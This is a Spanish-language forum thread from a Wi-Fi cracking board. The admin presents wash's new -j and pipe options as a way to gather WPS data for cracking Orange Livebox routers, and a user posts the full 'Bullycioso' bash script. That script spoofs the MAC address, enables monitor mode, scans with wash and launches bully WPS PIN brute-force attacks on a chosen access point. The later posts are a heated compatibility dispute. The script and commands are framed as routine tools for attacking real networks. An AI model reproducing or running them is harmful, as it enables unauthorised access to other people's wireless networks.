Conozca la nueva opción - j y la compatibilidad pipe de wash (Pagina 1) / Las herramientas para attaque WPS / Foro Wifi-libre.com

El libre pensamiento para un internet libre

No estas registrado.     

Anuncio

Wifi-highpower.es es distribuidor oficial de Alfa Network

#1 01-09-2017 15:56:01

kcdtv
Administrator

Registrado: 14-11-2014
Mensajes: 3,991

Conozca la nueva opción - j y la compatibilidad pipe de wash

Nueva opción - j y compatibilidad pipe con wash: ¡Poder al usuari@!

  ¿Qué tal querrid@s wifilibertari@s?
Hoy debo hablarles de wash porque se han realizado grandes cosas para que wash sea la navaja suiza del escaneo WPS, 
Lo primero ha sido reemplazar la antigua opción -g de wash.

Obtener la información WPS extendida con la opción -j

  No nos cansaremos de repetir (es falso, estamos cansado de repetirlo) que para elaborar la mejor estrategia posible a la hora de atacar un PA es fundamental  leer los "parámetros WPS extendidos" contenidos en la respuesta PROBE del router.
  No hay mejor ejemplo para ilustrar este hecho que Todo sobre al algoritmo WPS Livebox Arcadyan (Orange-XXXX)
   Para poder generar el PIN por defecto de una livebox orange necesitamos el número de serie del dispositivo. 
Para tener el número de serie debemos mirar en los parámetros WPS extendidos

livebox_default_PIN_5.jpg

La opción -j de wash sirve a esto

-j, --json                           print extended WPS info as json

  Cuando se recibe la respuesta prueba el PA sale en consola con todos los parámetros WPS.

washj_1.jpg

  Tenemos así toda la información necesaria para crackear una livebox orange. cool

Flexibilidad máxima con la compatibilidad pipe

Varios usuarios nos han pedido opciones nuevas para filtrar la salida de wash
  Se nos ha pedido por ejemplo añadir un filtro "eSSID"
Para, por ejemplo, ver en consola solo las redes con un eSSID "Orange-XXX".
  Otros usuarios pedían un filtro "bSSID", para ver las redes con cierto(s) inicio(s) bSSID.   
  Y otros querían un filtro sobre el nivel de señal...
  En lugar de crear más opciones hemos pensado en permitir al usuario de aplicar el filtro que quiere permitiendo el uso de wash en pipe.
Puede ejecutar un script propio para tratar la información de wash o usar los comandos bash de toda la vida.

Ejemplo: filtro essid con grep

¿Quieres ver las redes con essid "Orange"? Así de simple:

sudo wash -i wlan0mon | grep Orange

washj_2.jpg

Podéis usar la opción -j con el pipe; no hay problemas.

Ejemplo: filtro modelo con argumento "- j" con pipe

  El parámetros "wps model" de las livebox, visible con la opción -j , dice.... "Livebox"
   Más simple no se puede.
Para detectar las livebox incluso cuando su essid por defecto ha sido cambiado

sudo wash -i wlan0mon -j | grep Livebox

Imparable:

washj_3.jpg

  Con la nueva opción -j y la posibilidad de usar el pipe hemos querido dar toda la información posible al usuario y el control máximo sobre el uso de está información .
El formato *jsson (una linea por objetivo con varios separadores entre campos) simplifica muchísimo el desarrolló de script 
Se pueden ejecutar directamente con wash y un pipe

sudo wash -i wlan0mon | bash script.sh

Con el script "script.sh" (o loquequereis.py)  podríais calcular PIN para objetivos, poner un mensaje si son vulnerables a pixiewps, reorganizar los PA según su nivel de potencia.
Podéis hacer que wash sea exactamente como lo habéis soñado  smile
  Solo me queda por felicitar a mi compadre rofl0r  con quien hemos trabajado para implementar estas novedades.
La nueva opción -j está presente en las ultimas revisiones de wash 1.6.1 y la primera versión estable que la integra es la versión 1.6.2
  ¡Qué la disfrutes!

Desconectado

Anuncio

Wifi-libre.com: El libre pensamiento para un internet libre / Regístrese ahora

#2 22-09-2017 17:51:16

d1k0w0ns
VeryInsaneUsuario

Registrado: 12-06-2015
Mensajes: 342

Re: Conozca la nueva opción - j y la compatibilidad pipe de wash

las opciones -j y pipe son brutales, lentisimo pero brutal.

con el nuevo wash me deja de funcionar el script de Bullycioso a la hora de scanear, es una pena porque es lo mas rapido para mi,
aunque sea molesto teniendo cerca la copia antigua de wash para sobrescribir en su momento se soluciona,
estuve mirando el script para ver si lo podia solucionar pero ni idea no pilla el nuevo lo mismo tu lo sabes.

las 18:83:BF tambien son vulnerables al ataque de diccionario y la pass la misma 8 caracteres hexadecimales.
mtyourmind.10001mb.com.png
sorry me encanta esta foto no puedo evitarlo tongue

felicidades a ti y a tu mi compadre r0flor pedazo curro estas que te sales xD

saludooossss

Desconectado

#3 28-09-2017 17:12:17

kcdtv
Administrator

Registrado: 14-11-2014
Mensajes: 3,991

Re: Conozca la nueva opción - j y la compatibilidad pipe de wash

No te he respondido pensando que ibas a abrir un hilo en "programación y script" para presentar el problema
No tengo bullycioso  asi que sería bien que pongas el código.
De paso señalo que la versión 1.6.2 estable de reaver ha salido y que integra la nueva opción -j.

Desconectado

#4 28-09-2017 21:58:32

d1k0w0ns
VeryInsaneUsuario

Registrado: 12-06-2015
Mensajes: 342

Re: Conozca la nueva opción - j y la compatibilidad pipe de wash

no veo necesario abrir un hilo solo por esto tan "personal", no creo que nadie de aqui use eso ni le importe.

a ver si va mas rapido la 1.6.2

Bullycioso es solo uno hay otros que no van que ahora no recuerdo porque no uso tanto.
Bullycioso.sh codigo:

#!/bin/bash

# VERSION 0.1 Public 2k13
# ------------------------
# Fecha de salida

# VERSION 0.2 Public 2k13
# ------------------------
# changemac

# Variables globales
SCRIPT="Bullycioso"
VERSION="0.2 Public"
BACKTITLE="$SCRIPT $VERSION - Buckynet 2k13 -"
TMP="/tmp/$SCRIPT"

# Función comprobar si la interface está asociada a un punto de acceso
comprobacion_interface_asociada() {

# Si la interface está asociada, no se puede continuar
if [ ! "$(iwconfig $INTERFACE|grep "Not-Associated")" ]; then
	dialog --backtitle "$BACKTITLE" \
	       --title " NO SE PUEDE CONTINUAR " \
	       --ok-label "Salir" \
	       --msgbox "\nPara evitar errores, la interface $INTERFACE \
	                no debe estar asociada a un punto de acceso.\n " 0 0
	exit 1
fi
}

# Función lanzar ataque de fuerza bruta con bully
bully_wps() {

OPTIONS="-F -v 3"

# Se comprueba que la interface no esté asociada
comprobacion_interface_asociada

# Si no se ha seleccionado ningún objetivo no se puede continuar
if [ ! "$ESSID" -o ! "$BSSID" ]; then
	dialog --backtitle "$BACKTITLE" \
	       --title " NO SE PUEDE CONTINUAR " \
	       --ok-label "Volver" \
	       --msgbox "\nNo se ha seleccionado ningún objetivo\n " 0 0
	seleccionar_objetivo
fi

# Si el BSSID no cumple con el CheckSum
if [ "$3" = "--Chk" ]; then
	NO_CHECKSUM="-B"
	LONGITUD_PIN="8"
else
	NO_CHECKSUM=""
	LONGITUD_PIN="7"
fi

# Si se ha elejido la opción de introducir PIN manualmente. 
PIN_WPS="-S"
if [ "$2" = "--Pin" ]; then
	dialog --backtitle "$BACKTITLE" \
	       --title " INTRODUCIR PIN MANUALMENTE " \
	       --cancel-label "Volver" \
	       --max-input "$LONGITUD_PIN" \
	       --inputbox "\nIntroduce el PIN con un máximo de $LONGITUD_PIN dígitos:" 0 0 \
	2>"$TMP/PIN_WPS.txt"
	
	# Si el comando anterior no devuelve el valor 0, volvemos al menú
	if [ ! $? = 0 ]; then seleccionar_cheksum; fi
	
	# Si no se intruduce un valor numérico, no se puede continuar
	if [ ! "$(cat "$TMP/PIN_WPS.txt"|grep "^[0-9]*$")" ]; then
		dialog --backtitle "$BACKTITLE" \
		       --title " ERROR " \
		       --msgbox "\nDebes introducir un valor numérico\n" 0 0
		seleccionar_cheksum
	fi
	
	# Guardamos en una variable el PIN junto con los parámetros para bully
	PIN_WPS="-S -p $(cat "$TMP/PIN_WPS.txt")"
fi

# Lanzamos ataque con bully
xterm -hold -fg FloralWhite -bg DarkBlue -T "Bully -> $ESSID" -e \
bully -b $BSSID -c $CANAL $PIN_WPS $NO_CHECKSUM $OPTIONS -N $INTERFACE_MON & BULLY_PID=$!

# Diálogo que aparecerá mientras se ejecuta el ataque
dialog --backtitle "$BACKTITLE" \
       --infobox "$INFO_AP\nSe ha puesto en marcha el ataque con bully,\npresiona \"Control+C\" para detener el proceso.\n " 0 0
       
# Si se presiona "Control+C", se detiene el proceso de bully y saltamos a la seleccion
trap 'kill $BULLY_PID >/dev/null 2>&1 && seleccionar_sesion' SIGINT

# Mientras el proceso de bully esté activo, el script estrá "durmiendo"
while [ -e "/proc/$BULLY_PID" ]; do
	sleep 1
done

#Saltamos a la funcion seleccionar objetivo
seleccionar_objetivo
}

# Función seleccionar objetivo 
seleccionar_objetivo() {

# Si no se encuentran objetivos, no se puede continuar
if [ ! "$(cat "$TMP/wash_scan.txt")" ]; then
	dialog --backtitle "$BACKTITLE" \
	       --title " NO SE PUEDE CONTINUAR " \
	       --ok-label "Iniciar" \
	       --msgbox "\nNo se ha encontrado ningún objetivo con WPS activado.\n " 0 0
	seleccionar_interface
fi

# Creamos el menú para seleccionar objetivo
N=1
cat "$TMP/wash_scan.txt"|while read MAC CANAL RSSI VER LOCK ESSID; do
	if [ "$LOCK" = "Yes" ]; then LOCK="X"; fi
	if [ "$LOCK" = "No" ]; then LOCK="-"; fi
	echo "\"$N)\" \"$MAC    $LOCK       $RSSI      $CANAL     $ESSID\" \\"
	N=$(($N+1))
done >"$TMP/menu_objetivos.txt"

# Diálogo para seleccionar objetivo
dialog --backtitle "$BACKTITLE" \
       --title " SELECCIONAR OBJETIVO " \
       --cancel-label "Iniciar" \
       --menu "\n              BSSID         LOCKED    RSSI   CANAL   ESSID" 0 0 0 \
       --file "$TMP/menu_objetivos.txt" \
2>"$TMP/seleccion.txt"

# Si el comando anterior no devuelve el valor 0, volvemos al interface
if [ ! $? = 0 ]; then seleccionar_interface; fi

# Definimos los parámetros que se le pasarán a bully
SELECCION=$(cat "$TMP/seleccion.txt")
ESSID="$(cat "$TMP/menu_objetivos.txt"|tr -d '"'|tr -d '\\'|grep "^$SELECCION"|cut -d' ' -f24-)"
BSSID="$(cat "$TMP/menu_objetivos.txt"|tr -d '"'|tr -d '\\'|grep "^$SELECCION"|awk '{print $2}')"
CANAL="$(cat "$TMP/menu_objetivos.txt"|tr -d '"'|tr -d '\\'|grep "^$SELECCION"|awk '{print $5}')"

# Información del objetivo
INFO_AP="
$(
	echo "\n\n        INFORMACIÓN DEL OBJETIVO\n"
	echo "   ***********************************   \n"
	echo "      ESSID: $ESSID\n"
	echo "      BSSID: $BSSID\n"
	echo "      Canál: $CANAL\n"
	echo "   ***********************************   \n"
	echo "      INTERFACE  : $INTERFACE_MON\n"
	echo "      MAC ADDRESS: $MACMON\n"
	echo "   ***********************************   \n\n"
)"

# Volvemos a la sesion
seleccionar_sesion
}

# Función escanear con wash en busca de objetivos con WPS activado
escanear_wps() {

# Se comprueba que la interface no esté asociada
comprobacion_interface_asociada

# Diálogo para introducir tiempo a escanear
dialog --backtitle "$BACKTITLE" \
       --title " ESCANEAR EN BUSCA DE OBJETIVOS " \
       --cancel-label "Iniciar" \
       --max-input "2" \
       --inputbox "\nIntroduce el tiempo a escanear en segundos: \n " 0 0 \
2>"$TMP/segundos.txt"

# Si el comando anterior no devuelve el valor 0, volvemos al interface
if [ ! $? = 0 ]; then seleccionar_interface; fi

# Si no se introduce un valor numérico, no se puede continuar
if [ ! "$(cat "$TMP/segundos.txt"|grep "^[0-9]*$")" ]; then
	dialog --backtitle "$BACKTITLE" \
	       --title " ERROR " \
	       --msgbox "\nDebes introducir un valor numérico\n " 0 0
	escanear_wps
fi

# Matámos proceso de wash para evitar conflictos
killall wash >/dev/null 2>&1

# Escaneamos con wash
wash -i $INTERFACE_MON -C -D 2>/dev/null|tail -n +3|grep -v "^$" >"$TMP/wash_scan.txt" &

# Diálogo que muestra barra de progreso mientras se escanea
N2=$(cat "$TMP/segundos.txt")
N1=1
while [ ! $(($N1-1)) -eq $N2 ]; do
	PORCENT=$(($(($N1*100))/$N2))
	echo $PORCENT
	sleep 1
	N1=$(($N1+1))
done|\
dialog --backtitle "$BACKTITLE" \
       --title " ESCANEANDO EN BUSCA DE OBJETIVOS " \
       --gauge "" 0 0 \
2>/dev/null

# Cuando pasa el tiempo programado, terminamos el rpoceso de wash
killall wash >/dev/null 2>&1
sleep 1

# Saltamos a la funcion seleccionar objetivo
seleccionar_objetivo 
}

# Función seleccionar interface y poner en modo monitor
seleccionar_interface() {

# Si se encuentran interfaces en modo monitor, se eliminan para evitar conflictos
INTERFACES_MONITOR="$(iwconfig 2>/dev/null|grep "Mode:Monitor"|cut -d' ' -f1|grep -v "^$")"
if [ "$INTERFACES_MONITOR" ]; then
	for INTERFACE in $INTERFACES_MONITOR; do
		dialog --backtitle "$BACKTITLE" \
		       --title " ELIMINANDO INTERFACES CONFLICTIVAS " \
		       --infobox "\nEliminando interface $INTERFACE...\n " 0 0
		airmon-ng stop $INTERFACE >/dev/null 2>&1
		sleep 3
	done
fi

# Si no se encuentra ninguna tarjeta wifi, no se puede continuar
if [ ! "$(iwconfig 2>/dev/null|cut -d' ' -f1|grep -v "^$")" ]; then
	dialog --backtitle "$BACKTITLE" \
	       --title " NO SE PUEDE CONTINUAR " \
               --ok-label "Salir" \
               --msgbox "\nNo se ha detectado ninguna tarjeta wifi en este equipo.\n " 0 0
	exit 1
fi

# Creamos el menú para seleccionar la interface
N=1
airmon-ng 2>/dev/null|egrep -v "^Interface|^$"|cut -d'-' -f1|\
while read INTERFACE CHIPSET MODELO DRIVER; do
	  echo "\"$N\" \"$INTERFACE       $CHIPSET $MODELO   $DRIVER\" \\"
	  N=$(($N+1))
done >"$TMP/menu_interfaces.txt"

# Diálogo para seleccionar interface
dialog --backtitle "$BACKTITLE" \
       --title " SELECCIONAR INTERFACE " \
       --cancel-label "Salir" \
       --menu "\n       Interface   Chipset         Driver" 0 0 0 \
       --file "$TMP/menu_interfaces.txt" \
2>"$TMP/seleccion.txt"

# Si dialog no devuelve el valor 0, salimos.
if [ ! $? = 0 ]; then clear; exit 0; fi

SELECCION="$(cat "$TMP/seleccion.txt")"
INTERFACE="$(cat "$TMP/menu_interfaces.txt"|tr -d '"'|tr -d '\\'|grep ^$SELECCION|awk '{print $2}')"
CHIPSET="$(cat "$TMP/menu_interfaces.txt"|tr -d '"'|tr -d '\\'|grep ^$SELECCION|awk '{print $3}')"
MODELO="$(cat "$TMP/menu_interfaces.txt"|tr -d '"'|tr -d '\\'|grep ^$SELECCION|awk '{print $4}')"
DRIVER="$(cat "$TMP/menu_interfaces.txt"|tr -d '"'|tr -d '\\'|grep ^$SELECCION|awk '{print $5}')"

# Se comprueba que la interface no esté asociada
comprobacion_interface_asociada

# Se obtiene la mac actual de la interface
MAC="$(cat "/sys/class/net/$INTERFACE/address")"

# Diálogo para seleccionar el cambio de MAC en el interface seleccionado
dialog --backtitle "$BACKTITLE" \
       --title "MENU INTERFACE MAC" \
       --yesno "\nInterface .: $INTERFACE\nChipset ...: $CHIPSET $MODELO\nDriver ....: $DRIVER\n\nContinuar con MAC: $MAC ?\n\n" 0 0

case $? in
  1)
    changemac;;
  255)
    seleccionar_interface;;
esac

# Se reinicia la interface para evitar conflictos en caso de que otro proceso la esté usando
ifconfig $INTERFACE down >/dev/null 2>&1
ifconfig $INTERFACE hw ether $MAC >/dev/null 2>&1
ifconfig $INTERFACE up   >/dev/null 2>&1
       
# Ponemos la interface seleccionada en modo monitor
airmon-ng start $INTERFACE >"$TMP/log_airmon-ng.txt" 2>&1

# Si hay algún error al poner la interface en modo monitor no se puede continuar
if [ ! $? = 0 ]; then
	dialog --backtitle "$BACKTITLE" \
               --title " ERROR " \
               --ok-label "Salir" \
               --textbox "$TMP/log_airmon-ng.txt" 0 0
        exit 1
fi

# Definimos interface en modo monitor
INTERFACE_MON="$(cat "$TMP/log_airmon-ng.txt"|grep "monitor mode enabled"|tr -d ')'|awk '{print $5}')"


# Se reinicia la interface para evitar conflictos en caso de que otro proceso la esté usando
ifconfig $INTERFACE_MON down >/dev/null 2>&1
macchanger -m $MAC $INTERFACE_MON >/dev/null 2>&1
ifconfig $INTERFACE_MON up   >/dev/null 2>&1

# Se obtiene la mac actual de la interface monitor
MACMON="$(cat "/sys/class/net/$INTERFACE_MON/address")"

# Diálogo para informar del modo monitor
dialog --backtitle "$BACKTITLE" \
       --infobox "\nSe utilizará $INTERFACE_MON en modo monitor\nSe utilizará MAC $MACMON " 0 0
sleep 1

# Saltamos al scanner
escanear_wps
}

# Función seleccionar sesion
changemac() {

# Diálogo para introducir la MAC
dialog --backtitle "$BACKTITLE" \
       --title " CAMBIAR MAC INTERFACE " \
       --cancel-label "Volver" \
       --max-input "17" \
       --inputbox "\nIntroducir MAC nueva \nFormato: XX:XX:XX:XX:XX:XX\n " 0 0 \
2>"$TMP/mac.txt"

# Si el comando anterior no devuelve el valor 0, volvemos al interface
if [ ! $? = 0 ]; then seleccionar_interface; fi

# Definimos la MAC a utilizar
MAC="$(cat "$TMP/mac.txt")" 

}

# Función seleccionar sesion
seleccionar_sesion() {

# Diálogo con opciones del menú sesion
dialog --backtitle "$BACKTITLE" \
       --title "MENU SESIÓN" \
       --yesno "$INFO_AP   Iniciar o Continuar con la SESIÓN ?\n\n" 0 0

# Selector, ESC para volver al interface
case $? in
  0)
    bully_wps --InfoAP;;
  1)
    seleccionar_cheksum;;
  255)
    seleccionar_objetivo;;
esac
}

# Función seleccionar cheksum
seleccionar_cheksum() {

# Diálogo con opciones del menú checksum
dialog --backtitle "$BACKTITLE" \
       --title "MENU CHEKSUM" \
       --yesno "$INFO_AP   Antes de introducir el PIN,\n   CHEKSUM cálculo automático ?\n\n" 0 0

# Selector de checksum, ESC para volver a sesion
case $? in
  0)
    bully_wps --InfoAP --Pin;;
  1)
    bully_wps --InfoAP --Pin --Chk;;
  255)
    seleccionar_sesion;;
esac
}


# Inicio
# Si existe la ruta $TMP y no es un directorio se elimina
if [ -e "$TMP" ] && [ ! -d "$TMP" ]; then rm -rf "$TMP"; fi

# Si no existe la ruta $TMP la creamos
if [ ! -d "$TMP" ]; then mkdir -p "$TMP"; fi

# Comienza el script seleccionando la interface
seleccionar_interface 

Desconectado

#5 29-09-2017 17:42:03

kcdtv
Administrator

Registrado: 14-11-2014
Mensajes: 3,991

Re: Conozca la nueva opción - j y la compatibilidad pipe de wash

Esto es un tema para presentar la opción -j así que tus comentarios no tienen nada que hacer aquí: El script no emplea la opción -j ni ha sido diseñado para ella.
Bueno... Sabes lo que tienes que hacer si quieres ver con otr@s como adaptar bullycioso o cualquier otro script. Aquí no es el tema.

Desconectado

#6 30-09-2017 03:28:04

d1k0w0ns
VeryInsaneUsuario

Registrado: 12-06-2015
Mensajes: 342

Re: Conozca la nueva opción - j y la compatibilidad pipe de wash

kcdtv escribió:

Esto es un tema para presentar la opción -j así que tus comentarios no tienen nada que hacer aquí.

ademas lo que falla en este caso es el nuevo wash que no escanea no esa opcion

Desconectado

#7 02-10-2017 14:57:13

kcdtv
Administrator

Registrado: 14-11-2014
Mensajes: 3,991

Re: Conozca la nueva opción - j y la compatibilidad pipe de wash

Si no escanea sabes como arreglarlo: Editar las lineas dónde se usa wash,

Desconectado

#8 03-10-2017 01:10:19

d1k0w0ns
VeryInsaneUsuario

Registrado: 12-06-2015
Mensajes: 342

Re: Conozca la nueva opción - j y la compatibilidad pipe de wash

si supiera hacerlo asi ya lo habria hecho, no crees??

pensaba en comparar el codigo con wash antiguos todavia tengo versiones de codigo de la 1.5 y ver si sale algo util que lo haga compatible,
diria que no es culpa del script sino del wash nuevo que se comunica diferente, o no,
o automatizar el cambio a mano de wash si eso no funciona por alias o yo que se xD

Desconectado

#9 04-10-2017 11:30:05

kcdtv
Administrator

Registrado: 14-11-2014
Mensajes: 3,991

Re: Conozca la nueva opción - j y la compatibilidad pipe de wash

si supiera hacerlo asi ya lo habria hecho, no crees??

Sabiendo que hay un sola linea a modificar pesaba sinceramente que lo hubieras conseguido.
Lo suyo sería abrir un hilo dedicado en nuestro foro "scriptting" para exponer lo que has probado y podremos encontrar entre tod@s la solución..

Volviendo al tema de este hilo, después haber probado bastante en mi entorno (urbano muy denso), recomiendo usar con la opción -j :
   * La opción  - s (o --scan ). Hace que mandamos 15 probes hacía cada PA detectado y acelera mucho la recogida de respuestas probe. La diferencia es visible nada más empezar el escaneo.
  * Eventualmente aumentar el numero de probe con la opción -n. Por ejemplo:

(sudo) wash -i <interfaz> -j -s -n 100

   No estoy seguro de que este segundo punto (mandar más de 15 probes) sea muy efectivo.
  Lo que sí está muy claro es que usar la opción -s (--scan) mejora notablemente el rendimiento de la opción -j.

Desconectado

#10 06-10-2017 17:43:51

d1k0w0ns
VeryInsaneUsuario

Registrado: 12-06-2015
Mensajes: 342

Re: Conozca la nueva opción - j y la compatibilidad pipe de wash

PixieScript tampoco va con el nuevo wash falla en lo mismo a la hora de enseñar,
en kali si funciona?

75a5c685fb7e52b639842aa05d504243.png

Desconectado

#11 06-10-2017 20:16:49

kcdtv
Administrator

Registrado: 14-11-2014
Mensajes: 3,991

Re: Conozca la nueva opción - j y la compatibilidad pipe de wash

Sin código no hay senos en el paraíso... big_smile
Supongo que hay una opción que está mal en la linea de ordenes wash =>  sale la ayuda en lugar de ver redes en el log => el script te devuelve errores y trozos de la ayuda en lugar de redes,

Desconectado

#12 26-10-2017 21:14:19

d1k0w0ns
VeryInsaneUsuario

Registrado: 12-06-2015
Mensajes: 342

Re: Conozca la nueva opción - j y la compatibilidad pipe de wash

he estado probando la ultima version de reaver la 1.6.2 rev 483 y todo lo que tenga que ver con wash sigue sin funcionar,
tu mk.sh sigue sin funcionar kcdblueray,
a alguien le funciona con el nuevo wash?? a ver si va ser mi distro..........
y ya.

Desconectado

#13 28-10-2017 23:25:39

kcdtv
Administrator

Registrado: 14-11-2014
Mensajes: 3,991

Re: Conozca la nueva opción - j y la compatibilidad pipe de wash

Deberías primero mirar que pasa cuando ejecutas la orden wash del script que quieres arreglar para ver el porqué. O sea ejecutar la orden wash de tu script en una consola.

Desconectado

#14 29-10-2017 18:56:24

d1k0w0ns
VeryInsaneUsuario

Registrado: 12-06-2015
Mensajes: 342

Re: Conozca la nueva opción - j y la compatibilidad pipe de wash

la cuestion no es arreglar un script es arreglar wash para que funcionen todos los scripts no solo uno, todos los que depende de wash no van si se arreglara wash se arreglarian todos,

compare codigo con la 1.6.1 y cambiaron cosas (que no entiendo a simple vista) pero eso sigue igual no consigo ver donde falla o que cambiar para que funcione

pero contestame tu mk.sh te funciona en kali sin esos problemas??
ya se que no vas a probar bullycioso o PixieScript o cualquiera,
dime solo el tuyo.

Ultima edición por d1k0w0ns (29-10-2017 19:00:11)

Desconectado

#15 29-10-2017 21:14:03

USUARIONUEVO
Usuario

Registrado: 07-07-2015
Mensajes: 280

Re: Conozca la nueva opción - j y la compatibilidad pipe de wash

d1k0w0ns escribió:

la cuestion no es arreglar un script es arreglar wash para que funcionen todos los scripts no solo uno, todos los que depende de wash no van si se arreglara wash se arreglarian todos

Error de concepto , un script "automatiza" normalmente tareas de consola ... los scripts son los que se adaptan , no el proyecto "padre" , es decir, si tu tienes un proyecto basado en "X" , eres tu el que se debe adaptar.

Pero bueno , si tu crees que debe ser al reves , estas en tu derecho de pensarlo , pero creo que es un error , solo opino.

Imagina que distros basadas en ARCHLINUX , por ejemplo , le dijeran a los de arch , haz esto asi y asan, por que asi mi "derivado" , funcionara mejor.

No amigo , eso no funciona asi.

Desconectado

#16 30-10-2017 06:28:02

crash
Very Important Usuario

Registrado: 25-10-2017
Mensajes: 727
Página Web

Re: Conozca la nueva opción - j y la compatibilidad pipe de wash

USUARIONUEVO escribió:
d1k0w0ns escribió:

la cuestion no es arreglar un script es arreglar wash para que funcionen todos los scripts no solo uno, todos los que depende de wash no van si se arreglara wash se arreglarian todos

Error de concepto , un script "automatiza" normalmente tareas de consola ... los scripts son los que se adaptan , no el proyecto "padre" , es decir, si tu tienes un proyecto basado en "X" , eres tu el que se debe adaptar.

Pero bueno , si tu crees que debe ser al reves , estas en tu derecho de pensarlo , pero creo que es un error , solo opino.

Imagina que distros basadas en ARCHLINUX , por ejemplo , le dijeran a los de arch , haz esto asi y asan, por que asi mi "derivado" , funcionara mejor.

No amigo , eso no funciona asi.

totalmente de acuerdo con lo que te dice usuarionuevo. Yo cuando hago un script me adapto a los parámetros del programa que quiero usar y como tal lo desarrollo. A no ser que estudie como es el código del programa y lo cree yo desde cero, en ese caso lo puedo adaptar exclusivamente a mi sistema. Pero en este caso se crean de manera genérica, para todos los sistemas, sino te funciona sera por algo distinto que tiene tu sistema, a los sistemas que si funciona.

P.D. linux es todo investigación, modificación y desarrollo, si no cumples cualquier requisito de esos tres, (mejor quedarse en cacawindows.) ironia.

Desconectado

#17 30-10-2017 13:21:02

kcdtv
Administrator

Registrado: 14-11-2014
Mensajes: 3,991

Re: Conozca la nueva opción - j y la compatibilidad pipe de wash

Y todo cuestión de compromiso en proyectos colectivos.
Por ejemplo: Se ha decidido de forma colectiva pasar las sesiones en /var en lugar de /etc
  Es lógico en si: Unas sesiones no deberían estar en /etc
Yo estaba en contra, porque privilegio el usuario que tiene costumbre a buscar su sesiones en /etc sobre la coherencia hacía el sistema de archivo UNIX y afiliados. 
Se ha debatido en el repositorio, mi punto de vista no ha sido el de la mayoría y se ha decidido mover las sesiones en /var.
Esto es probablemente problemático para algunos scripts que buscan o guardan sesiones en /etc mientras que la ruta está ahora en /var
  Es lo que hay..  No habrá vuelta atrás por mucho que queramos tú y yo. El pueblo ha hablado. .
  Y esto no es nada: Imagínate que por ejemplo hay montón de scripts php que no pasan a php 7 y versiones superiores.
Hablamos de algo muy serio que afecta a millones de webs que deben adaptarse.

pero contestame tu mk.sh te funciona en kali sin esos problemas??

Claro que me funciona y no solo en kali big_smile
¿Crees que voy a usar y publicar un script que no me funciona? ¿No ves las capturas de pantallas en los temas? ¿Tu también fumas banderas ahora?
Tus problemas se arreglarían si reportarías los bugs como debido en un hilo dedicado cosa que te has negado a hacer desde el inicio porqué eres así de chulo. .
Con lo cual paso por completo de tus quejas y de comerme el coco un segundo para ayudarte  big_smile (además no se puede ayudar a alguien que no rpesnta los problemas debidamente)

Desconectado

#18 30-10-2017 23:08:55

d1k0w0ns
VeryInsaneUsuario

Registrado: 12-06-2015
Mensajes: 342

Re: Conozca la nueva opción - j y la compatibilidad pipe de wash

USUARIONUEVO cuanto tiempo saludos cordiales no esperaba leerte

por mucha novedad que sea no mantener la compatibilidad me parece un error muy grande (sobretodo tocahuevos) y me da rabia solo es eso no me fustigeis mas nunca pedire que cambie wash lo juro big_smile

la culpa es de kcdtv que me confunde,
si de un principio hubiera dicho "tu eres idiota a mi si me funciona" estaria arreglado, o no,
pero como no da datos....

kcdtv escribió:

Claro que me funciona y no solo en kali big_smile

esto es muy interesante el fallo es solo mio vaya novedad mas mala

no solo en kali que significa??
en tus sueños?
da datos joder no creo que tengas que poner una lista con un millon de distros,

a esto me referia con lo de que vas confundiendo y encima crees que estas ayudando big_smile

kcdtv escribió:

¿Tu también fumas banderas ahora?

que va sigo fumando tripas de muerto que suben mas, las banderas a la hoguera.

kcdtv escribió:

Tus problemas se arreglarían si reportarías los bugs como debido en un hilo dedicado cosa que te has negado a hacer desde el inicio porqué eres así de chulo. .
Con lo cual paso por completo de tus quejas y de comerme el coco un segundo para ayudarte  big_smile (además no se puede ayudar a alguien que no rpesnta los problemas debidamente)

de chulo nada no te pases de imbecil como te voy a pasar bugs de mi distro si tu solo sabes de debian y de aquella manera,
hacemos un hilo solo para mi distro?? no verdad?? seguramente estaria abandonado,
intentare no necesitar tu gran ayuda smile

tu si que eres chulo y macarra y proxeneta big_smile

Desconectado

#19 31-10-2017 17:58:57

kcdtv
Administrator

Registrado: 14-11-2014
Mensajes: 3,991

Re: Conozca la nueva opción - j y la compatibilidad pipe de wash

hacemos un hilo solo para mi distro?? no verdad?? seguramente estaria abandonado,

¡Sí! En lugar de desviar los hilos abres un tema nuevo para presentar tu problema. No te pido tu opinión te digo lo que tienes que hacer. wink

Desconectado

#20 01-11-2017 00:54:44

d1k0w0ns
VeryInsaneUsuario

Registrado: 12-06-2015
Mensajes: 342

Re: Conozca la nueva opción - j y la compatibilidad pipe de wash

kcdtv escribió:

¡Sí! En lugar de desviar los hilos abres un tema nuevo para presentar tu problema. No te pido tu opinión te digo lo que tienes que hacer. wink

mirandolo desde una comparacion la opcion -j con lo otro pues si,
para la proxima smile
es que me gusta preguntar a lo loco de ahi lo de insane user ya sabes smile

Desconectado

#21 01-11-2017 01:09:17

USUARIONUEVO
Usuario

Registrado: 07-07-2015
Mensajes: 280

Re: Conozca la nueva opción - j y la compatibilidad pipe de wash

@d1k0w0ns

No te compliques la vida tio , ... el 99% de scripts funcionan bajo el reaver clasico .. pues deja ese como reaver, y los scripts new-age , para esos, compila el reaver+wash actual , y cambia el nombre de los ejecutables ..por ejemplo

reaver-ng
wash-ng

y los scripts nuevos, solo editas donde llaman a reaver y vas y lo cambias por esos nombres, para que ejecuten el nuevo , ... asi lo tengo yo montado y todos contentos ...ademas tienes las dos versiones para hacer pruebas ... no hay que renunciar a nada :=)

Al igual que airmon-ng , y otros ..que puedes tener los que quieras cambiando el name para no solaparlos.

Ultima edición por USUARIONUEVO (01-11-2017 01:10:44)

Desconectado

#22 07-11-2017 02:03:53

d1k0w0ns
VeryInsaneUsuario

Registrado: 12-06-2015
Mensajes: 342

Re: Conozca la nueva opción - j y la compatibilidad pipe de wash

si no me la complico tengo versiones antiguas a mano en una carpeta y cuando necesito cambiar copio y pego,
veo mas complicado y mas trabajo ir cambiando nombre y retocando scripts,
ya hize eso en la epoca de la 1.3 y la 1.4 y el del no checksum y me fue mas lio con tanto reaver.

como tampoco distribuyo lo mio lo hago a mi bola mas que nunca y nadie se me queja de versiones xD

Desconectado

Anuncio

Wifi-highpower.es es distribuidor oficial de Alfa Network

Temas similares

Tema Respuestas Vistas Ultimo mensaje
Pegado:
Pegado:: 1ª Sorteo Del Mercadillo por josep345  [ 1 2 3 ]
69 1008 Ayer 19:58:11 por josep345
Es Necesario Un Chat? por josep345
15 180 Ayer 19:47:26 por josep345
Pegado:
7 613 Ayer 00:20:37 por kcdtv
Me presento por Valkyria
6 72 23-05-2018 13:17:01 por Valkyria
